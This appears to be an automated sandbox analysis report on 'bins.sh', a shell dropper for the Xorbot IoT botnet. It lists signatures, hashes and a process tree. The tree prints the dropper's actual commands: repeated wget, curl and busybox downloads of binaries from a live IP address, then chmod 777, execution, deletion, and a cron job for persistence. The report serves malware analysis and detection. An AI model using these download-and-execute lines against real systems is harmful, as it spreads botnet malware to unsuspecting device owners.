Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    08/01/2025, 04:27

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250108-e234wswnfr
  • SHA256 b8dddc5a936401d0b005f3d42cd5bfa6fb72312793aca66d111d465d79411ede
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1064) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:720
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:723
        • /usr/bin/wget
          wget http://66.63.187.225/bins/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Writes file to tmp directory
          PID:725
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Writes file to tmp directory
          PID:749
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Writes file to tmp directory
          PID:750
        • /bin/chmod
          chmod 777 NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • File and Directory Permissions Modification
          PID:751
        • /tmp/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          ./NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Executes dropped EXE
          PID:752
        • /bin/rm
          rm NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
            PID:754
          • /usr/bin/wget
            wget http://66.63.187.225/bins/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Writes file to tmp directory
            PID:755
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:756
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Writes file to tmp directory
            PID:757
          • /bin/chmod
            chmod 777 dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • File and Directory Permissions Modification
            PID:758
          • /tmp/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            ./dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Executes dropped EXE
            PID:759
          • /bin/rm
            rm dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
              PID:761
            • /usr/bin/wget
              wget http://66.63.187.225/bins/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Writes file to tmp directory
              PID:762
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:771
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Writes file to tmp directory
              PID:786
            • /bin/chmod
              chmod 777 UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • File and Directory Permissions Modification
              PID:795
            • /tmp/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              ./UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Executes dropped EXE
              PID:796
            • /bin/rm
              rm UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
                PID:800
              • /usr/bin/wget
                wget http://66.63.187.225/bins/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • Writes file to tmp directory
                PID:801
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • Writes file to tmp directory
                PID:814
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • Writes file to tmp directory
                PID:816
              • /bin/chmod
                chmod 777 ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • File and Directory Permissions Modification
                PID:817
              • /tmp/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                ./ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                • Executes dropped EXE
                PID:818
              • /bin/rm
                rm ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                2⤵
                  PID:820
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                  2⤵
                  • Writes file to tmp directory
                  PID:822
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                  2⤵
                  • Writes file to tmp directory
                  PID:823
                • /bin/chmod
                  chmod 777 cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                  2⤵
                  • File and Directory Permissions Modification
                  PID:826
                • /tmp/cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                  ./cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                  2⤵
                  • Executes dropped EXE
                  PID:827
                • /bin/rm
                  rm cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                  2⤵
                    PID:830
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/Py1KDzIP8D0o4NDVqWn9ZbOMs3gVfK4lGG
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:832
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/Py1KDzIP8D0o4NDVqWn9ZbOMs3gVfK4lGG
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:846
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/Py1KDzIP8D0o4NDVqWn9ZbOMs3gVfK4lGG
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:860
                  • /bin/chmod
                    chmod 777 Py1KDzIP8D0o4NDVqWn9ZbOMs3gVfK4lGG
                    2⤵
                    • File and Directory Permissions Modification
                    PID:861
                  • /tmp/Py1KDzIP8D0o4NDVqWn9ZbOMs3gVfK4lGG
                    ./Py1KDzIP8D0o4NDVqWn9ZbOMs3gVfK4lGG
                    2⤵
                    • Executes dropped EXE
                    • System Network Configuration Discovery
                    PID:862
                  • /bin/rm
                    rm Py1KDzIP8D0o4NDVqWn9ZbOMs3gVfK4lGG
                    2⤵
                    • System Network Configuration Discovery
                    PID:864
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/iUokFx796DlEA0Bgl00iwTQTL9ZWSNOSRj
                    2⤵
                    • Writes file to tmp directory
                    PID:865
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/iUokFx796DlEA0Bgl00iwTQTL9ZWSNOSRj
                    2⤵
                    • Writes file to tmp directory
                    PID:869
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/iUokFx796DlEA0Bgl00iwTQTL9ZWSNOSRj
                    2⤵
                    • Writes file to tmp directory
                    PID:870
                  • /bin/chmod
                    chmod 777 iUokFx796DlEA0Bgl00iwTQTL9ZWSNOSRj
                    2⤵
                    • File and Directory Permissions Modification
                    PID:871
                  • /tmp/iUokFx796DlEA0Bgl00iwTQTL9ZWSNOSRj
                    ./iUokFx796DlEA0Bgl00iwTQTL9ZWSNOSRj
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:872
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:874
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:875
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:876
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:877
                      • /bin/rm
                        rm iUokFx796DlEA0Bgl00iwTQTL9ZWSNOSRj
                        2⤵
                          PID:879
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/useGL0t6lVGEIFRMQfQiKnHa0fMoUVHODV
                          2⤵
                            PID:882
                          • /usr/bin/curl
                            curl -O http://66.63.187.225/bins/useGL0t6lVGEIFRMQfQiKnHa0fMoUVHODV
                            2⤵
                              PID:883
                            • /bin/busybox
                              /bin/busybox wget http://66.63.187.225/bins/useGL0t6lVGEIFRMQfQiKnHa0fMoUVHODV
                              2⤵
                              • Writes file to tmp directory
                              PID:884
                            • /bin/chmod
                              chmod 777 useGL0t6lVGEIFRMQfQiKnHa0fMoUVHODV
                              2⤵
                              • File and Directory Permissions Modification
                              PID:885
                            • /tmp/useGL0t6lVGEIFRMQfQiKnHa0fMoUVHODV
                              ./useGL0t6lVGEIFRMQfQiKnHa0fMoUVHODV
                              2⤵
                              • Executes dropped EXE
                              PID:886
                            • /bin/rm
                              rm useGL0t6lVGEIFRMQfQiKnHa0fMoUVHODV
                              2⤵
                                PID:888
                              • /usr/bin/wget
                                wget http://66.63.187.225/bins/1J1rVMorf17S8OeEYpUoZDylsLqgNSX95q
                                2⤵
                                  PID:889

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
                                    • Path /tmp/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                                    • Path /tmp/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    Py1KDzIP8D0o4NDVqWn9ZbOMs3gVfK4lGG
                                    • Path /tmp/Py1KDzIP8D0o4NDVqWn9ZbOMs3gVfK4lGG
                                    • Size 127KB
                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
                                    • Path /tmp/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                                    • Path /tmp/cAUS5LfcO1gIK9OL8xSbbSAzYP1iNIwl0U
                                    • Size 111KB
                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
                                    • Path /tmp/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
                                    • Size 98KB
                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    iUokFx796DlEA0Bgl00iwTQTL9ZWSNOSRj
                                    • Path /tmp/iUokFx796DlEA0Bgl00iwTQTL9ZWSNOSRj
                                    • Size 151KB
                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    useGL0t6lVGEIFRMQfQiKnHa0fMoUVHODV
                                    • Path /tmp/useGL0t6lVGEIFRMQfQiKnHa0fMoUVHODV
                                    • Size 122KB
                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tmp.IHFZSa
                                    • Path /var/spool/cron/crontabs/tmp.IHFZSa
                                    • Size 210B
                                    • SHA256 9ac42dff28cf72a2ed1afa8a496c81a4c7db03b911fe24d649c00e468848bc0f
                                    • MD5 SHA1 SHA512
                                    Submit Download